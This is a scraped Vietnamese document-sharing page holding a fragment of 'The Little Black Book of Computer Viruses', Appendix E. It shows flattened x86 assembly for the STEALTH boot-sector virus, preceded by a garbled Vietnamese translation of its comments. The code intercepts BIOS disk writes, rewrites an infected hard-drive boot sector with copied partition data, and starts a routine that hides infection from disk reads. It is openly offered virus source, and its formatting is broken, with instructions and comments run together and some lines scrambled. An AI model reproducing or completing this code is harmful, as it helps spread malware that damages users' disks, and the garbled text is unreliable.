tailieunhanh - The Little Black Book of Computer Viruses phần 9

được viết nhiều hơn 1 khu vực? ; nếu không, sau đó xuất cảnh, nhiều hơn 1 khu vực, xem nếu đó là ổ đĩa cứng, nếu có, bỏ qua phần còn lại của ghi, ổ đĩa mềm, viết phần còn lại, như một cuộc gọi thứ hai để BIOSđược viết đi vào ổ cứng? , không có, cập nhật thông tin phân vùngchỉ cần di chuyển nó từ giây chúng ta chỉ cần viết vào giây khởi động virus | Appendix E The STEALTH Virus 138 WB_15 WRITE mov ax 301H pushf call DWORD PTR OLD_13H and do it sti mov dl ss bp 6 cmp dl 80H was write going to hard drive jnz WB_15 no mov BYTE PTR DR_FLAG 80H yes update partition info push si push di mov di OFFSET PART just move it from sec we just mov Si SS bp 10 wrote into the viral boot sec add si OFFSET PART sub si OFFSET BOOT_START push es pop ds push cs pop es switch ds and es around mov cx 20 rep movsw and do the move push cs pop ds mov ax 301H mov bx OFFSET BOOT_START mov cx 1 Track 0 Sector 1 mov dx 80H drive 80H Head 0 pushf go write updated viral boot sec call DWORD PTR OLD_13H with new partition info pop di clean up pop si mov al ss bp 12 cmp al 1 was write more than 1 sector jz WB_EXIT if not then exit 1NEXT more than 1 sector mov dl ss bp 6 see if it s the hard drive cmp dl 80H jz WB_EXIT if so ignore rest of the write pop bp floppy drive go write the rest pop es as a second call to BIOS pop ds pop dx pop cx restore all registers pop bx pop ax add bx 512 and modify a few to push ax drop writing the first sector dec al inc cl pushf call DWORD PTR cs OLD_13H go write the rest sti push ax push bp mov bp sp pushf use c flag from call pop ax to set c flag on the stack mov ss bp 10 ax jc WB2 an error sub bx 512 so exit with ah from 2nd int 13 dec cl pop bp pop ax pop ax else exit with ah 0 mov ah 0 to indicate success WB2 pop pop add bp ax sp 2 exit with ah from 2nd interrupt 139 The Little Black Book of Computer Viruses WB-EXIT mov ax ss bp 18 push ax popf clc pushf pop ax mov ss bp 18 ax pop bp pop es pop ds pop dx pop cx pop bx pop ax mov ah 0 iret exit after 1st write set carry on stack to indicate a successful write operation .-restore all registers and exit WB-GOON pop bp pop es pop ds pop dx pop cx pop bx pop ax jmp I13R pass control to ROM BIOS -just restore all registers and go do it Read hard disk sectors on Track 0 Head 0 Sec 1. If the disk is infected then instead of reading the true data there return a block